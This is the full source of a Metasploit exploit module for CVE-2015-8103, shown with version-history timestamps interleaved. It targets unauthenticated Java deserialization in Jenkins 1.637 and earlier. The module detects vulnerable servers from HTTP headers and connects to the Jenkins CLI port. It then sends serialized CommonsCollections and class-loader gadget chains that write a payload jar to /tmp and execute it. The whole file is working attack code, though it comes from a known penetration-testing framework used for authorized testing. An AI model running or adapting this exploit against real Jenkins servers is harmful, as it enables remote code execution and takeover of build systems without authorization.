2015-12-11 20:57:10 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2015-12-11 20:57:10 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
|
|
|
|
the Jenkins master, which allows remote arbitrary code execution. Authentication is not
|
|
|
|
required to exploit this vulnerability.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Christopher Frohoff', # Vulnerability discovery
|
|
|
|
'Steve Breen', # Public Exploit
|
|
|
|
'Dev Mohanty', # Metasploit module
|
|
|
|
'Louis Sato', # Metasploit
|
|
|
|
'William Vu', # Metasploit
|
|
|
|
'juan vazquez', # Metasploit
|
|
|
|
'Wei Chen' # Metasploit
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-8103'],
|
|
|
|
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
|
|
|
|
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
|
|
|
|
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
|
|
|
|
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
|
|
|
|
],
|
|
|
|
'Platform' => 'java',
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Jenkins 1.637', {} ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 18 2015',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options([
|
2015-12-14 17:25:59 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
|
2015-12-11 20:57:10 +00:00
|
|
|
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
|
|
|
|
Opt::RPORT('8080')
|
|
|
|
], self.class)
|
2016-02-09 00:16:48 +00:00
|
|
|
|
|
|
|
register_advanced_options([
|
2016-02-10 15:44:01 +00:00
|
|
|
OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
|
2016-02-09 00:16:48 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def cli_port
|
|
|
|
@jenkins_cli_port || datastore['XJenkinsCliPort']
|
2015-12-11 20:57:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-02-09 00:40:48 +00:00
|
|
|
if cli_port == 0 && !vulnerable?
|
2015-12-11 20:57:10 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
|
|
|
|
end
|
|
|
|
invoke_remote_method(set_payload)
|
|
|
|
invoke_remote_method(class_load_payload)
|
|
|
|
end
|
|
|
|
|
2015-12-14 17:25:59 +00:00
|
|
|
|
|
|
|
# This is from the HttpClient mixin. But since this module isn't actually exploiting
|
|
|
|
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
|
|
|
|
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
|
|
|
|
|
|
|
|
def target_uri
|
|
|
|
begin
|
|
|
|
# In case TARGETURI is empty, at least we default to '/'
|
|
|
|
u = datastore['TARGETURI']
|
|
|
|
u = "/" if u.nil? or u.empty?
|
|
|
|
URI(u)
|
|
|
|
rescue ::URI::InvalidURIError
|
|
|
|
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
|
|
|
raise Msf::OptionValidateError.new(['TARGETURI'])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def normalize_uri(*strs)
|
|
|
|
new_str = strs * "/"
|
|
|
|
|
|
|
|
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
|
|
|
|
|
|
|
# Makes sure there's a starting slash
|
|
|
|
unless new_str[0,1] == '/'
|
|
|
|
new_str = '/' + new_str
|
|
|
|
end
|
|
|
|
|
|
|
|
new_str
|
|
|
|
end
|
|
|
|
|
2015-12-11 20:57:10 +00:00
|
|
|
def check
|
|
|
|
result = Exploit::CheckCode::Safe
|
|
|
|
|
2015-12-14 17:25:59 +00:00
|
|
|
begin
|
|
|
|
if vulnerable?
|
|
|
|
result = Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
rescue Msf::Exploit::Failed => e
|
|
|
|
vprint_error(e.message)
|
|
|
|
return Exploit::CheckCode::Unknown
|
2015-12-11 20:57:10 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
|
|
|
def vulnerable?
|
2015-12-14 17:25:59 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path)
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res
|
|
|
|
fail_with(Failure::Unknown, 'The connection timed out.')
|
|
|
|
end
|
|
|
|
|
|
|
|
http_headers = res.headers
|
|
|
|
|
|
|
|
unless http_headers['X-Jenkins-CLI-Port']
|
|
|
|
vprint_error('The server does not have the CLI port that is needed for exploitation.')
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
|
2015-12-11 20:57:10 +00:00
|
|
|
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
# Connects to the server, creates a request, sends the request,
|
|
|
|
# reads the response
|
|
|
|
#
|
|
|
|
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
|
|
|
#
|
|
|
|
def send_request_cgi(opts={}, timeout = 20)
|
|
|
|
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
|
|
|
|
actual_timeout = datastore['HttpClientTimeout']
|
|
|
|
else
|
|
|
|
actual_timeout = opts[:timeout] || timeout
|
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
|
|
|
|
c.connect
|
|
|
|
r = c.request_cgi(opts)
|
|
|
|
c.send_recv(r, actual_timeout)
|
|
|
|
rescue ::Errno::EPIPE, ::Timeout::Error
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def invoke_remote_method(serialized_java_stream)
|
|
|
|
begin
|
2016-02-09 00:16:48 +00:00
|
|
|
socket = connect(true, {'RPORT' => cli_port})
|
2015-12-11 20:57:10 +00:00
|
|
|
|
|
|
|
print_status 'Sending headers...'
|
|
|
|
socket.put(read_bin_file('serialized_jenkins_header'))
|
|
|
|
|
|
|
|
vprint_status(socket.recv(1024))
|
|
|
|
vprint_status(socket.recv(1024))
|
|
|
|
|
|
|
|
encoded_payload0 = read_bin_file('serialized_payload_header')
|
|
|
|
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
|
|
|
|
encoded_payload2 = read_bin_file('serialized_payload_footer')
|
|
|
|
|
|
|
|
encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
|
|
|
|
print_status "Sending payload length: #{encoded_payload.length}"
|
|
|
|
socket.put(encoded_payload)
|
|
|
|
ensure
|
|
|
|
disconnect(socket)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_status(msg='')
|
|
|
|
super("#{rhost}:#{rport} - #{msg}")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Serialized stream generated with:
|
|
|
|
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
|
|
|
|
#
|
|
|
|
def set_payload
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
|
|
|
|
handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
|
|
|
|
decoded = stream.decode(handle)
|
|
|
|
handle.close
|
|
|
|
|
|
|
|
inject_payload_into_stream(decoded).encode
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Serialized stream generated with:
|
|
|
|
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
|
|
|
|
#
|
|
|
|
def class_load_payload
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
|
|
|
|
decoded = stream.decode(handle)
|
|
|
|
handle.close
|
|
|
|
inject_class_loader_into_stream(decoded).encode
|
|
|
|
end
|
|
|
|
|
|
|
|
def inject_class_loader_into_stream(decoded)
|
|
|
|
file_name_utf8 = get_array_chain(decoded)
|
|
|
|
.values[2]
|
|
|
|
.class_data[0]
|
|
|
|
.values[1]
|
|
|
|
.values[0]
|
|
|
|
.values[0]
|
|
|
|
.class_data[3]
|
|
|
|
file_name_utf8.contents = get_random_file_name
|
|
|
|
file_name_utf8.length = file_name_utf8.contents.length
|
|
|
|
class_name_utf8 = get_array_chain(decoded)
|
|
|
|
.values[4]
|
|
|
|
.class_data[0]
|
|
|
|
.values[0]
|
|
|
|
class_name_utf8.contents = 'metasploit.Payload'
|
|
|
|
class_name_utf8.length = class_name_utf8.contents.length
|
|
|
|
decoded
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_random_file_name
|
|
|
|
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def inject_payload_into_stream(decoded)
|
|
|
|
byte_array = get_array_chain(decoded)
|
|
|
|
.values[2]
|
|
|
|
.class_data
|
|
|
|
.last
|
|
|
|
byte_array.values = payload.encoded.bytes
|
|
|
|
file_name_utf8 = decoded.references[44].class_data[0]
|
|
|
|
rnd_fname = get_random_file_name
|
|
|
|
register_file_for_cleanup(rnd_fname)
|
|
|
|
file_name_utf8.contents = rnd_fname
|
|
|
|
file_name_utf8.length = file_name_utf8.contents.length
|
|
|
|
decoded
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_array_chain(decoded)
|
|
|
|
object = decoded.contents[0]
|
|
|
|
lazy_map = object.class_data[1].class_data[0]
|
|
|
|
chained_transformer = lazy_map.class_data[0]
|
|
|
|
chained_transformer.class_data[0]
|
|
|
|
end
|
|
|
|
|
|
|
|
def read_bin_file(bin_file_path)
|
|
|
|
data = ''
|
|
|
|
|
|
|
|
File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
|
|
|
|
data = f.read
|
|
|
|
end
|
|
|
|
|
|
|
|
data
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|